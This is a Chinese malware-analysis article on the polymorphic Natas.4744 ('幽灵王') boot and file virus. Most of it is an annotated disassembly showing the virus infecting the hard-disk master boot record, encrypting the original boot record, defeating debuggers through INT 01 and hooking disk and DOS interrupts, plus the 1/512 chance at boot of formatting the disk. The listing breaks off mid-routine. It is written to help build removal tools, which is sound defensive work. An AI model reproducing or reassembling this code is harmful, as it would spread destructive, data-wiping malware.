Natas.4744幽灵王病毒的分析

文章作者:罗云彬 防黑网.www.zzfhw.com
 防黑网.www.zzfhw.com
 防黑网.www.zzfhw.com
病毒介绍: 防黑网.www.zzfhw.com
 防黑网.www.zzfhw.com
  Natas 病毒,长度 4744 字节,有的地方有把它称为 4744 病毒,由于病毒是用了变型技术,本身的形态几乎有无穷多种,使杀毒软件总漏掉一两个,不知什么时候又冒了出来,所以又称它为‘幽灵王’。 防黑网.www.zzfhw.com
  但变型加密技术并不可怕,我认为,查病毒并没有通用的方法,病毒用了多少的代码用于加密,杀毒程序也少不了这么多代码,编病毒的人用了多少时间调试,杀病毒的人只会用更多的时间去分析,从来没有通用的杀毒办法,只要以这种态度去分析病毒,杀毒程序就能把病毒杀完全。君不见,有些杀毒软件刚推出是号称开放式杀毒,永远不用升级,用户自己只要加加病毒库就行了,但到后来,升级升得比谁都快,出一个新病毒一升级,版本号都快把26个字母用完了。 防黑网.www.zzfhw.com
  由于 Natas 病毒的长度长达 4744 字节,变型加密部分就用的近 2k,我一时没有时间写具体的杀毒细节,只能尽可能多注释一下。 防黑网.www.zzfhw.com
 Natas 病毒是一种恶性病毒,它再启动时有1/512的机会要格式化硬盘。如果发现它,要注意马上杀,不然下一次启动你的硬盘资料可能就完蛋了。具体分析见注释。如果谁有杀毒原程序愿意公布,可以发一份给我。 防黑网.www.zzfhw.com
 防黑网.www.zzfhw.com
病毒分析: 防黑网.www.zzfhw.com
 防黑网.www.zzfhw.com
9E80:0000 0E         PUSH  CS 防黑网.www.zzfhw.com
9E80:0001 1F         POP  DS 防黑网.www.zzfhw.com
9E80:0002 E89400      CALL  0099     ;保存 INT 13/15/21/40 防黑网.www.zzfhw.com
9E80:0005 A27304      MOV  [0473],AL   ;AL = 0 防黑网.www.zzfhw.com
9E80:0008 A21114      MOV  [1411],AL 防黑网.www.zzfhw.com
9E80:000B 8EC0        MOV  ES,AX 防黑网.www.zzfhw.com
9E80:000D 5F         POP  DI 防黑网.www.zzfhw.com
9E80:000E 83EF03      SUB  DI,+03 防黑网.www.zzfhw.com
9E80:0011 50         PUSH  AX 防黑网.www.zzfhw.com
9E80:0012 57         PUSH  DI     ;设置执行原引导记录地址 防黑网.www.zzfhw.com
9E80:0013 BE4700      MOV  SI,0047   ;解密并恢复原引导区 防黑网.www.zzfhw.com
9E80:0016 E81D00      CALL  0036 防黑网.www.zzfhw.com
9E80:0019 B013        MOV  AL,13 防黑网.www.zzfhw.com
9E80:001B BA7204      MOV  DX,0472   ;设置新 INT 13 => CS:0472 防黑网.www.zzfhw.com
9E80:001E E8B300      CALL  00D4 防黑网.www.zzfhw.com
9E80:0021 E8EF00      CALL  0113     ;传染硬盘引导区 防黑网.www.zzfhw.com
9E80:0024 84168E00     TEST  [008E],DL 防黑网.www.zzfhw.com
9E80:0028 740B        JZ  0035 防黑网.www.zzfhw.com
9E80:002A B8FF01      MOV  AX,01FF 防黑网.www.zzfhw.com
9E80:002D E83611      CALL  1166     ;产生随机数 < 512 防黑网.www.zzfhw.com
9E80:0030 7503        JNZ  0035     ;如果为 0 转格式化硬盘 防黑网.www.zzfhw.com
9E80:0032 E91304      JMP  0448     ;即每次启动有 1/512 的机会 防黑网.www.zzfhw.com
9E80:0035 CB         RETF       ;格式化硬盘 防黑网.www.zzfhw.com
;=========================================================================== 防黑网.www.zzfhw.com
;加密/解密原引导记录 防黑网.www.zzfhw.com
9E80:0036 8A64FF      MOV  AH,[SI-01] 防黑网.www.zzfhw.com
9E80:0039 B92900      MOV  CX,0029 防黑网.www.zzfhw.com
9E80:003C FC         CLD 防黑网.www.zzfhw.com
9E80:003D AC         LODSB 防黑网.www.zzfhw.com
9E80:003E 32C4        XOR  AL,AH 防黑网.www.zzfhw.com
9E80:0040 D0C4        ROL  AH,1 防黑网.www.zzfhw.com
9E80:0042 AA         STOSB 防黑网.www.zzfhw.com
9E80:0043 E2F8        LOOP  003D 防黑网.www.zzfhw.com
9E80:0045 C3         RET 防黑网.www.zzfhw.com
9E80:0046              07 FD-3D DC B6 A0 5C C1 FF 11      .}=\6 \A.. 防黑网.www.zzfhw.com
9E80:0050  09 A7 40 70 D6 04 B4 19-58 0A 6B CF DE BD 3A 0C  .'@pV.4.X.kO^=:. 防黑网.www.zzfhw.com
9E80:0060  0E E0 CB D4 E6 DE 45 42-F0 13 B3 7E F8 BD 0B 4A  .`KTf^EBp.3~x=.J 防黑网.www.zzfhw.com
;========================================================================== 防黑网.www.zzfhw.com
;  新引导区入口程序 防黑网.www.zzfhw.com
;========================================================================== 防黑网.www.zzfhw.com
9E80:0070 E80000      CALL  0073     ;重定位 防黑网.www.zzfhw.com
9E80:0073 BF4000      MOV  DI,0040 防黑网.www.zzfhw.com
9E80:0076 8EDF        MOV  DS,DI     ;0040:0013 防黑网.www.zzfhw.com
9E80:0078 836DD306     SUB  Word Ptr [DI-2D],+06   ;内存减 6K 防黑网.www.zzfhw.com
9E80:007C 8B45D3      MOV  AX,[DI-2D] 防黑网.www.zzfhw.com
9E80:007F B10A        MOV  CL,0A 防黑网.www.zzfhw.com
9E80:0081 D3C8        ROR  AX,CL 防黑网.www.zzfhw.com
9E80:0083 8EC0        MOV  ES,AX     ;高端段地址 防黑网.www.zzfhw.com
9E80:0085 B80902      MOV  AX,0209   ;读出病毒 9 扇区 防黑网.www.zzfhw.com
9E80:0088 33DB        XOR  BX,BX 防黑网.www.zzfhw.com
9E80:008A B9014F      MOV  CX,4F01  ===>  ;CX, DX 值由 0166 设置 防黑网.www.zzfhw.com
9E80:008D BA0001      MOV  DX,0100 防黑网.www.zzfhw.com
9E80:0090 CD13        INT  13 防黑网.www.zzfhw.com
9E80:0092 7203        JB  0097 防黑网.www.zzfhw.com
9E80:0094 06         PUSH  ES     ;转 0000 执行 防黑网.www.zzfhw.com
9E80:0095 53         PUSH  BX 防黑网.www.zzfhw.com
9E80:0096 CB         RETF 防黑网.www.zzfhw.com
9E80:0097 CD18        INT  18 防黑网.www.zzfhw.com
;=========================================================================== 防黑网.www.zzfhw.com
;保存中断开始 5 字节 防黑网.www.zzfhw.com
;INT 13 ===> 13EB 防黑网.www.zzfhw.com
;INT 15 ===> 13F3 防黑网.www.zzfhw.com
;INT 40 ===> 13F7 防黑网.www.zzfhw.com
;INT 21 ===> 13FB 防黑网.www.zzfhw.com
9E80:0099 1E         PUSH  DS 防黑网.www.zzfhw.com
9E80:009A 33C0        XOR  AX,AX 防黑网.www.zzfhw.com
9E80:009C 8ED8        MOV  DS,AX 防黑网.www.zzfhw.com
9E80:009E BE4C00      MOV  SI,004C   ;中断 13 防黑网.www.zzfhw.com
9E80:00A1 BFEB13      MOV  DI,13EB 防黑网.www.zzfhw.com
9E80:00A4 56         PUSH  SI 防黑网.www.zzfhw.com
9E80:00A5 56         PUSH  SI 防黑网.www.zzfhw.com
9E80:00A6 A5         MOVSW 防黑网.www.zzfhw.com
9E80:00A7 A5         MOVSW 防黑网.www.zzfhw.com
9E80:00A8 5E         POP  SI 防黑网.www.zzfhw.com
9E80:00A9 A5         MOVSW 防黑网.www.zzfhw.com
9E80:00AA A5         MOVSW 防黑网.www.zzfhw.com
9E80:00AB BE5400      MOV  SI,0054   ;中断 15 防黑网.www.zzfhw.com
9E80:00AE A5         MOVSW 防黑网.www.zzfhw.com
9E80:00AF A5         MOVSW 防黑网.www.zzfhw.com
9E80:00B0 5E         POP  SI 防黑网.www.zzfhw.com
9E80:00B1 38067504     CMP  [0475],AL 防黑网.www.zzfhw.com
9E80:00B5 7403        JZ  00BA 防黑网.www.zzfhw.com
9E80:00B7 BE0001      MOV  SI,0100 防黑网.www.zzfhw.com
9E80:00BA A5         MOVSW 防黑网.www.zzfhw.com
9E80:00BB A5         MOVSW 防黑网.www.zzfhw.com
9E80:00BC BE8400      MOV  SI,0084   ;中断 21 防黑网.www.zzfhw.com
9E80:00BF A5         MOVSW 防黑网.www.zzfhw.com
9E80:00C0 A5         MOVSW 防黑网.www.zzfhw.com
9E80:00C1 1F         POP  DS 防黑网.www.zzfhw.com
9E80:00C2 C3         RET 防黑网.www.zzfhw.com
;========================================================================= 防黑网.www.zzfhw.com
;取中断向量于 ES:BX, 入口 AL = 中断向量号 防黑网.www.zzfhw.com
9E80:00C3 50         PUSH  AX 防黑网.www.zzfhw.com
9E80:00C4 32E4        XOR  AH,AH 防黑网.www.zzfhw.com
9E80:00C6 D1C0        ROL  AX,1 防黑网.www.zzfhw.com
9E80:00C8 D1C0        ROL  AX,1 防黑网.www.zzfhw.com
9E80:00CA 93         XCHG  AX,BX 防黑网.www.zzfhw.com
9E80:00CB 33C0        XOR  AX,AX 防黑网.www.zzfhw.com
9E80:00CD 8EC0        MOV  ES,AX 防黑网.www.zzfhw.com
9E80:00CF 26C41F      LES  BX,ES:[BX] 防黑网.www.zzfhw.com
9E80:00D2 58         POP  AX 防黑网.www.zzfhw.com
9E80:00D3 C3         RET 防黑网.www.zzfhw.com
;========================================================================= 防黑网.www.zzfhw.com
;设置中断向量到 DS:DX, 入口 AL = 中断向量号 防黑网.www.zzfhw.com
9E80:00D4 50         PUSH  AX 防黑网.www.zzfhw.com
9E80:00D5 53         PUSH  BX 防黑网.www.zzfhw.com
9E80:00D6 1E         PUSH  DS 防黑网.www.zzfhw.com
9E80:00D7 32E4        XOR  AH,AH 防黑网.www.zzfhw.com
9E80:00D9 D1C0        ROL  AX,1 防黑网.www.zzfhw.com
9E80:00DB D1C0        ROL  AX,1 防黑网.www.zzfhw.com
9E80:00DD 93         XCHG  AX,BX 防黑网.www.zzfhw.com
9E80:00DE 33C0        XOR  AX,AX 防黑网.www.zzfhw.com
9E80:00E0 1E         PUSH  DS 防黑网.www.zzfhw.com
9E80:00E1 8ED8        MOV  DS,AX 防黑网.www.zzfhw.com
9E80:00E3 8917        MOV  [BX],DX 防黑网.www.zzfhw.com
9E80:00E5 8F4702      POP  [BX+02] 防黑网.www.zzfhw.com
9E80:00E8 1F         POP  DS 防黑网.www.zzfhw.com
9E80:00E9 5B         POP  BX 防黑网.www.zzfhw.com
9E80:00EA 58         POP  AX 防黑网.www.zzfhw.com
9E80:00EB C3         RET 防黑网.www.zzfhw.com
;======================================================================== 防黑网.www.zzfhw.com
;所有寄存器进堆栈 防黑网.www.zzfhw.com
9E80:00EC 2E8F060214    POP  CS:[1402] 防黑网.www.zzfhw.com
9E80:00F1 9C         PUSHF 防黑网.www.zzfhw.com
9E80:00F2 50         PUSH  AX 防黑网.www.zzfhw.com
9E80:00F3 53         PUSH  BX 防黑网.www.zzfhw.com
9E80:00F4 51         PUSH  CX 防黑网.www.zzfhw.com
9E80:00F5 52         PUSH  DX 防黑网.www.zzfhw.com
9E80:00F6 55         PUSH  BP 防黑网.www.zzfhw.com
9E80:00F7 56         PUSH  SI 防黑网.www.zzfhw.com
9E80:00F8 57         PUSH  DI 防黑网.www.zzfhw.com
9E80:00F9 1E         PUSH  DS 防黑网.www.zzfhw.com
9E80:00FA 06         PUSH  ES 防黑网.www.zzfhw.com
9E80:00FB 8BEC        MOV  BP,SP 防黑网.www.zzfhw.com
9E80:00FD 2EFF260214    JMP  CS:[1402] 防黑网.www.zzfhw.com
;========================================================================= 防黑网.www.zzfhw.com
;所有寄存器出堆栈 防黑网.www.zzfhw.com
9E80:0102 2E8F060214    POP  CS:[1402] 防黑网.www.zzfhw.com
9E80:0107 07         POP  ES 防黑网.www.zzfhw.com
9E80:0108 1F         POP  DS 防黑网.www.zzfhw.com
9E80:0109 5F         POP  DI 防黑网.www.zzfhw.com
9E80:010A 5E         POP  SI 防黑网.www.zzfhw.com
9E80:010B 5D         POP  BP 防黑网.www.zzfhw.com
9E80:010C 5A         POP  DX 防黑网.www.zzfhw.com
9E80:010D 59         POP  CX 防黑网.www.zzfhw.com
9E80:010E 5B         POP  BX 防黑网.www.zzfhw.com
9E80:010F 58         POP  AX 防黑网.www.zzfhw.com
9E80:0110 9D         POPF 防黑网.www.zzfhw.com
9E80:0111 EBEA        JMP  00FD 防黑网.www.zzfhw.com
;========================================================================== 防黑网.www.zzfhw.com
;文件执行初始化及启动时传染硬盘子程序 防黑网.www.zzfhw.com
;由 0021 043C 调用 防黑网.www.zzfhw.com
9E80:0113 0E         PUSH  CS 防黑网.www.zzfhw.com
9E80:0114 0E         PUSH  CS 防黑网.www.zzfhw.com
9E80:0115 07         POP  ES 防黑网.www.zzfhw.com
9E80:0116 1F         POP  DS 防黑网.www.zzfhw.com
9E80:0117 B80102      MOV  AX,0201 防黑网.www.zzfhw.com
9E80:011A BB1314      MOV  BX,1413 防黑网.www.zzfhw.com
9E80:011D B90100      MOV  CX,0001 防黑网.www.zzfhw.com
9E80:0120 BA8000      MOV  DX,0080 防黑网.www.zzfhw.com
9E80:0123 E89509      CALL  0ABB     ;读硬盘主引导区 防黑网.www.zzfhw.com
9E80:0126 7230        JB  0158 防黑网.www.zzfhw.com
9E80:0128 38AFBF01     CMP  [BX+01BF],CH   ;无保留磁道不传染 防黑网.www.zzfhw.com
9E80:012C 742A        JZ  0158 防黑网.www.zzfhw.com
9E80:012E 8B8FC401     MOV  CX,[BX+01C4]   ;取保留磁道扇区数 防黑网.www.zzfhw.com
9E80:0132 83E13F      AND  CX,+3F     ;屏蔽 CX 高位 (柱面高位) 防黑网.www.zzfhw.com
9E80:0135 83E909      SUB  CX,+09     ;到数 9 扇区 防黑网.www.zzfhw.com
9E80:0138 761E        JBE  0158     ;扇区数小于 9 不传染 防黑网.www.zzfhw.com
9E80:013A 80F901      CMP  CL,01 防黑网.www.zzfhw.com
9E80:013D 7619        JBE  0158 防黑网.www.zzfhw.com
9E80:013F E81700      CALL  0159     ;判断是否已传染 防黑网.www.zzfhw.com
9E80:0142 7214        JB  0158     ;已传染退出 防黑网.www.zzfhw.com
9E80:0144 53         PUSH  BX 防黑网.www.zzfhw.com
9E80:0145 B80903      MOV  AX,0309   ;写病毒到保留扇区 防黑网.www.zzfhw.com
9E80:0148 33DB        XOR  BX,BX 防黑网.www.zzfhw.com
9E80:014A E86E09      CALL  0ABB 防黑网.www.zzfhw.com
9E80:014D 5B         POP  BX 防黑网.www.zzfhw.com
9E80:014E 7208        JB  0158 防黑网.www.zzfhw.com
9E80:0150 B80103      MOV  AX,0301   ;写新引导记录 防黑网.www.zzfhw.com
9E80:0153 B101        MOV  CL,01     ;CS:0000 防黑网.www.zzfhw.com
9E80:0155 E86309      CALL  0ABB 防黑网.www.zzfhw.com
9E80:0158 C3         RET 防黑网.www.zzfhw.com
;========================================================================== 防黑网.www.zzfhw.com
;判断引导记录是否已传染及准备新的引导记录 防黑网.www.zzfhw.com
9E80:0159 51         PUSH  CX 防黑网.www.zzfhw.com
9E80:015A 52         PUSH  DX 防黑网.www.zzfhw.com
9E80:015B 81BFFE0155AA  CMP  Word Ptr [BX+01FE],AA55 防黑网.www.zzfhw.com
9E80:0161 7525        JNZ  0188 防黑网.www.zzfhw.com
9E80:0163 BF4700      MOV  DI,0047 防黑网.www.zzfhw.com
9E80:0166 894D44      MOV  [DI+44],CX   ;保存病毒传染位置 防黑网.www.zzfhw.com
9E80:0169 80E280      AND  DL,80 防黑网.www.zzfhw.com
9E80:016C 895547      MOV  [DI+47],DX 防黑网.www.zzfhw.com
9E80:016F E81A00      CALL  018C     ;判断是否传染 (返回 SI 地址) 防黑网.www.zzfhw.com
9E80:0172 7414        JZ  0188     ;已传染转 0188 退出 防黑网.www.zzfhw.com
9E80:0174 E8EC0F      CALL  1163     ;产生随机数 防黑网.www.zzfhw.com
9E80:0177 8865FF      MOV  [DI-01],AH   ;保存于 0046 防黑网.www.zzfhw.com
9E80:017A 56         PUSH  SI 防黑网.www.zzfhw.com
9E80:017B E8BBFE      CALL  0039     ;加密原引导记录 防黑网.www.zzfhw.com
9E80:017E 8BF7        MOV  SI,DI     ;SI = 0070, 病毒入口 防黑网.www.zzfhw.com
9E80:0180 5F         POP  DI     ;DI = 原引导记录 JMP 入口 防黑网.www.zzfhw.com
9E80:0181 B92900      MOV  CX,0029   ;移动病毒到原引导记录 防黑网.www.zzfhw.com
9E80:0184 F3         REPZ 防黑网.www.zzfhw.com
9E80:0185 A4         MOVSB 防黑网.www.zzfhw.com
9E80:0186 F8         CLC 防黑网.www.zzfhw.com
9E80:0187 B0F9        MOV  AL,F9 防黑网.www.zzfhw.com
9E80:0189 5A         POP  DX 防黑网.www.zzfhw.com
9E80:018A 59         POP  CX 防黑网.www.zzfhw.com
9E80:018B C3         RET 防黑网.www.zzfhw.com
;========================================================================== 防黑网.www.zzfhw.com
;返回 JMP 后的指令地址于 SI 防黑网.www.zzfhw.com
;判断 JMP 后指令是否为 0070 处指令 (是否传染) 防黑网.www.zzfhw.com
9E80:018C 8BF3        MOV  SI,BX 防黑网.www.zzfhw.com
9E80:018E FC         CLD 防黑网.www.zzfhw.com
9E80:018F AC         LODSB 防黑网.www.zzfhw.com
9E80:0190 50         PUSH  AX 防黑网.www.zzfhw.com
9E80:0191 AD         LODSW 防黑网.www.zzfhw.com
9E80:0192 91         XCHG  AX,CX     ;AL/CX 为引导区前 3 字节 防黑网.www.zzfhw.com
9E80:0193 58         POP  AX 防黑网.www.zzfhw.com
9E80:0194 3CEB        CMP  AL,EB     ;JMP XXXX 防黑网.www.zzfhw.com
9E80:0196 7505        JNZ  019D 防黑网.www.zzfhw.com
9E80:0198 32ED        XOR  CH,CH 防黑网.www.zzfhw.com
9E80:019A 4E         DEC  SI 防黑网.www.zzfhw.com
9E80:019B EB08        JMP  01A5 防黑网.www.zzfhw.com
9E80:019D 3CE9        CMP  AL,E9     ;JMP XXXX 防黑网.www.zzfhw.com
9E80:019F 7404        JZ  01A5 防黑网.www.zzfhw.com
9E80:01A1 33C9        XOR  CX,CX 防黑网.www.zzfhw.com
9E80:01A3 8BF3        MOV  SI,BX 防黑网.www.zzfhw.com
9E80:01A5 03F1        ADD  SI,CX     ;SI 为引导记录开始指令 防黑网.www.zzfhw.com
9E80:01A7 81FEE515     CMP  SI,15E5   ;15E5 - 1413 = 01D2 防黑网.www.zzfhw.com
9E80:01AB 73F4        JNB  01A1     ; > 01D2 退出 防黑网.www.zzfhw.com
9E80:01AD 813CE800     CMP  Word Ptr [SI],00E8 防黑网.www.zzfhw.com
9E80:01B1 7505        JNZ  01B8     ;判前 2 句指令是否 防黑网.www.zzfhw.com
9E80:01B3 817C0200BF    CMP  Word Ptr [SI+02],BF00   ;CALL next/MOV DI,xxxx 防黑网.www.zzfhw.com
9E80:01B8 C3         RET       ;(见 0070) 防黑网.www.zzfhw.com
;========================================================================= 防黑网.www.zzfhw.com
;判断是否有跟踪 防黑网.www.zzfhw.com
;如果有,返回 BP <> 0 防黑网.www.zzfhw.com
9E80:01B9 33C0        XOR  AX,AX 防黑网.www.zzfhw.com
9E80:01BB 9C         PUSHF 防黑网.www.zzfhw.com
9E80:01BC 5A         POP  DX     ;取当前标志 防黑网.www.zzfhw.com
9E80:01BD 80E6FE      AND  DH,FE 防黑网.www.zzfhw.com
9E80:01C0 52         PUSH  DX 防黑网.www.zzfhw.com
9E80:01C1 52         PUSH  DX 防黑网.www.zzfhw.com
9E80:01C2 9D         POPF 防黑网.www.zzfhw.com
9E80:01C3 16         PUSH  SS 防黑网.www.zzfhw.com
9E80:01C4 17         POP  SS 防黑网.www.zzfhw.com
9E80:01C5 9C         PUSHF 防黑网.www.zzfhw.com
9E80:01C6 5A         POP  DX 防黑网.www.zzfhw.com
9E80:01C7 F6C601      TEST  DH,01 防黑网.www.zzfhw.com
9E80:01CA 5A         POP  DX 防黑网.www.zzfhw.com
9E80:01CB 7415        JZ  01E2     ;无跟踪转 01E2 防黑网.www.zzfhw.com
9E80:01CD 06         PUSH  ES 防黑网.www.zzfhw.com
9E80:01CE 33ED        XOR  BP,BP 防黑网.www.zzfhw.com
9E80:01D0 8CD1        MOV  CX,SS 防黑网.www.zzfhw.com
9E80:01D2 FA         CLI 防黑网.www.zzfhw.com
9E80:01D3 8ED5        MOV  SS,BP 防黑网.www.zzfhw.com
9E80:01D5 C47E04      LES  DI,[BP+04]   ;有跟踪取 INT 01 地址 防黑网.www.zzfhw.com
9E80:01D8 8ED1        MOV  SS,CX 防黑网.www.zzfhw.com
9E80:01DA FB         STI 防黑网.www.zzfhw.com
9E80:01DB B0CF        MOV  AL,CF 防黑网.www.zzfhw.com
9E80:01DD FC         CLD 防黑网.www.zzfhw.com
9E80:01DE AA         STOSB       ;将 INT 01 设置为 IRET 防黑网.www.zzfhw.com
9E80:01DF 07         POP  ES 防黑网.www.zzfhw.com
9E80:01E0 52         PUSH  DX 防黑网.www.zzfhw.com
9E80:01E1 9D         POPF 防黑网.www.zzfhw.com
9E80:01E2 95         XCHG  AX,BP     ;无跟踪 AX = 0 防黑网.www.zzfhw.com
9E80:01E3 C3         RET 防黑网.www.zzfhw.com
;======================================================================== 防黑网.www.zzfhw.com
;保存或恢复 INT 13 中断前 5 字节 防黑网.www.zzfhw.com
9E80:01E4 E805FF      CALL  00EC 防黑网.www.zzfhw.com
9E80:01E7 BED913      MOV  SI,13D9 防黑网.www.zzfhw.com
9E80:01EA 2EC47C16     LES  DI,CS:[SI+16] 防黑网.www.zzfhw.com
9E80:01EE EB0A        JMP  01FA 防黑网.www.zzfhw.com
;======================================================================== 防黑网.www.zzfhw.com
;保存或恢复 INT 21 中断前 5 字节 防黑网.www.zzfhw.com
9E80:01F0 E8F9FE      CALL  00EC 防黑网.www.zzfhw.com
9E80:01F3 BEDE13      MOV  SI,13DE 防黑网.www.zzfhw.com
9E80:01F6 2EC47C1D     LES  DI,CS:[SI+1D] 防黑网.www.zzfhw.com
9E80:01FA 0E         PUSH  CS 防黑网.www.zzfhw.com
9E80:01FB 1F         POP  DS 防黑网.www.zzfhw.com
9E80:01FC B90500      MOV  CX,0005 防黑网.www.zzfhw.com
9E80:01FF 382E1114     CMP  [1411],CH   ;[1411] 引导区引入时为 0 防黑网.www.zzfhw.com
9E80:0203 740B        JZ  0210 防黑网.www.zzfhw.com
9E80:0205 FC         CLD 防黑网.www.zzfhw.com
9E80:0206 AC         LODSB 防黑网.www.zzfhw.com
9E80:0207 268605      XCHG  AL,ES:[DI] 防黑网.www.zzfhw.com
9E80:020A 8844FF      MOV  [SI-01],AL 防黑网.www.zzfhw.com
9E80:020D 47         INC  DI 防黑网.www.zzfhw.com
9E80:020E E2F6        LOOP  0206 防黑网.www.zzfhw.com
9E80:0210 E8EFFE      CALL  0102 防黑网.www.zzfhw.com
9E80:0213 C3         RET 防黑网.www.zzfhw.com
;========================================================================= 防黑网.www.zzfhw.com
;由初始化程序调用 防黑网.www.zzfhw.com
9E80:0214 E882FE      CALL  0099     ;保存 INT 13/15/21/40 防黑网.www.zzfhw.com
9E80:0217 B452        MOV  AH,52    ;中断前 5 字节 防黑网.www.zzfhw.com
9E80:0219 CD21        INT  21 防黑网.www.zzfhw.com
9E80:021B 268B47FE     MOV  AX,ES:[BX-02]   ;AX = 第一块 MCB 地址 防黑网.www.zzfhw.com
9E80:021F A3AD02      MOV  [02AD],AX 防黑网.www.zzfhw.com
9E80:0222 B001        MOV  AL,01     ;取 INT 01 中断地址 防黑网.www.zzfhw.com
9E80:0224 E89CFE      CALL  00C3 防黑网.www.zzfhw.com
9E80:0227 53         PUSH  BX 防黑网.www.zzfhw.com
9E80:0228 06         PUSH  ES 防黑网.www.zzfhw.com
9E80:0229 BA7702      MOV  DX,0277   ;设置 INT 01 中断地址 防黑网.www.zzfhw.com
9E80:022C E8A5FE      CALL  00D4     ;到 CS:0277 防黑网.www.zzfhw.com
9E80:022F 9C         PUSHF 防黑网.www.zzfhw.com
9E80:0230 5E         POP  SI 防黑网.www.zzfhw.com
9E80:0231 BF9702      MOV  DI,0297 防黑网.www.zzfhw.com
9E80:0234 C60503      MOV  Byte Ptr [DI],03 防黑网.www.zzfhw.com
9E80:0237 B401        MOV  AH,01 防黑网.www.zzfhw.com
9E80:0239 E83400      CALL  0270     ;激活 INT 01 防黑网.www.zzfhw.com
9E80:023C E87C08      CALL  0ABB     ;执行 INT 13,找 BIOS INT 13地址 防黑网.www.zzfhw.com
;本句功能为先执行 029B, 再执行 02C8,在 02C8 中找出 防黑网.www.zzfhw.com
;BIOS 的 INT 13 地址, 即段地址高位在 C8 到 F4 之间 防黑网.www.zzfhw.com
;找到以后转 02B4, 将 INT 13 地址保存在 13EB 中 防黑网.www.zzfhw.com
9E80:023F C60526      MOV  Byte Ptr [DI],26 防黑网.www.zzfhw.com
9E80:0242 B4C0        MOV  AH,C0 防黑网.www.zzfhw.com
9E80:0244 E82900      CALL  0270     ;激活 INT 01 防黑网.www.zzfhw.com
9E80:0247 9C         PUSHF       ;调用 INT 15,找 BIOS INT 15地址 防黑网.www.zzfhw.com
9E80:0248 FF1EF313     CALL  FAR [13F3] 防黑网.www.zzfhw.com
;本段功能为先执行 02BE, 同上找出 BIOS INT 15 地址 防黑网.www.zzfhw.com
;保存于 13F3 中 防黑网.www.zzfhw.com
9E80:024C C60513      MOV  Byte Ptr [DI],13 防黑网.www.zzfhw.com
9E80:024F B430        MOV  AH,30 防黑网.www.zzfhw.com
9E80:0251 E81C00      CALL  0270     ;激活 INT 01 防黑网.www.zzfhw.com
9E80:0254 E86E08      CALL  0AC5     ;调用 INT 21 防黑网.www.zzfhw.com
;本段功能为找出 MSDOS 中 INT 21 的地址, 先执行 防黑网.www.zzfhw.com
;02AB, 判断执行段地址小于第一块 MCB 地址, 即为 防黑网.www.zzfhw.com
;INT 21 的地址, 找到后保存于 13FB 中 防黑网.www.zzfhw.com
9E80:0257 C6052B      MOV  Byte Ptr [DI],2B 防黑网.www.zzfhw.com
9E80:025A B401        MOV  AH,01 防黑网.www.zzfhw.com
9E80:025C E81100      CALL  0270 防黑网.www.zzfhw.com
9E80:025F E86908      CALL  0ACB 防黑网.www.zzfhw.com
;本段功能为找出 BIOS INT 40 地址,具体为先执行 02C3 防黑网.www.zzfhw.com
;再同 INT 13 之执行, 找到 INT 40 地址保存于 13F7 中 防黑网.www.zzfhw.com
9E80:0262 81E6FFFE     AND  SI,FEFF 防黑网.www.zzfhw.com
9E80:0266 56         PUSH  SI 防黑网.www.zzfhw.com
9E80:0267 9D         POPF      ;停止 INT 01 防黑网.www.zzfhw.com
9E80:0268 1F         POP  DS     ;恢复原 INT 01 地址 防黑网.www.zzfhw.com
9E80:0269 5A         POP  DX 防黑网.www.zzfhw.com
9E80:026A B001        MOV  AL,01 防黑网.www.zzfhw.com
9E80:026C E865FE      CALL  00D4 防黑网.www.zzfhw.com
9E80:026F C3         RET 防黑网.www.zzfhw.com
9E80:0270 81CE0001     OR  SI,0100 防黑网.www.zzfhw.com
9E80:0274 56         PUSH  SI 防黑网.www.zzfhw.com
9E80:0275 9D         POPF 防黑网.www.zzfhw.com
9E80:0276 C3         RET 防黑网.www.zzfhw.com
;========================================================================= 防黑网.www.zzfhw.com
;  病毒新 INT 01 防黑网.www.zzfhw.com
;  这是一个多个地方调用的子程序, 先由调用者设置 0296 出 JNZ 指令 防黑网.www.zzfhw.com
;  跳转的地址, 再设置并激活 INT 01 防黑网.www.zzfhw.com
;  在 0099 中用来找出初始 INT 13/15/21/40 地址 防黑网.www.zzfhw.com
;  在 INT 21 结束时用来重新截取 INT 21 防黑网.www.zzfhw.com
9E80:0277 1E         PUSH  DS 防黑网.www.zzfhw.com
9E80:0278 0E         PUSH  CS 防黑网.www.zzfhw.com
9E80:0279 1F         POP  DS 防黑网.www.zzfhw.com
9E80:027A 893E6F03     MOV  [036F],DI   ;DI = 13E3 防黑网.www.zzfhw.com
9E80:027E BF6303      MOV  DI,0363 防黑网.www.zzfhw.com
9E80:0281 8905        MOV  [DI],AX   ;保存返回时的 防黑网.www.zzfhw.com
9E80:0283 895D03      MOV  [DI+03],BX   ;AX 到 DX 值 防黑网.www.zzfhw.com
9E80:0286 894D06      MOV  [DI+06],CX 防黑网.www.zzfhw.com
9E80:0289 895509      MOV  [DI+09],DX 防黑网.www.zzfhw.com
9E80:028C 8F45FB      POP  [DI-05]   ;保存返回时的 DS 防黑网.www.zzfhw.com
9E80:028F 5B         POP  BX     ;调用 IP (INT 01) 防黑网.www.zzfhw.com
9E80:0290 59         POP  CX     ;调用 CS 防黑网.www.zzfhw.com
9E80:0291 5A         POP  DX     ;调用 FLAG 防黑网.www.zzfhw.com
9E80:0292 8CC8        MOV  AX,CS 防黑网.www.zzfhw.com
9E80:0294 3BC1        CMP  AX,CX     ;是否调用者在病毒内 防黑网.www.zzfhw.com
9E80:0296 752B        JNZ  02C3     ;不在病毒内开始执行 INT 01 功能 防黑网.www.zzfhw.com
9E80:0298 E9BF00      JMP  035A 防黑网.www.zzfhw.com
;以下由 022F 处执行, 找 MSDOS INT 13 地址 防黑网.www.zzfhw.com
9E80:029B 3B0EAD02     CMP  CX,[02AD]   ;02AD 为第一个 MCB 地址 防黑网.www.zzfhw.com
9E80:029F 734D        JNB  02EE     ;不在 MSDOS 内返回 防黑网.www.zzfhw.com
9E80:02A1 BFEF13      MOV  DI,13EF 防黑网.www.zzfhw.com
9E80:02A4 C606970230    MOV  Byte Ptr [0297],30  ;下一次 0296 防黑网.www.zzfhw.com
9E80:02A9 EB0C        JMP  02B7     ;处为 JNZ 02C8 防黑网.www.zzfhw.com
;以下由 0257 处执行, 找 INT 21 地址 防黑网.www.zzfhw.com
9E80:02AB 81F9A30B     CMP  CX,0BA3  ===>  ;本句地址由 021F 设置 防黑网.www.zzfhw.com
9E80:02AF 733D        JNB  02EE     ;为第一块 MCB 地址 防黑网.www.zzfhw.com
9E80:02B1 BFFB13      MOV  DI,13FB 防黑网.www.zzfhw.com
9E80:02B4 80E6FE      AND  DH,FE     ;保存找到的地址 防黑网.www.zzfhw.com
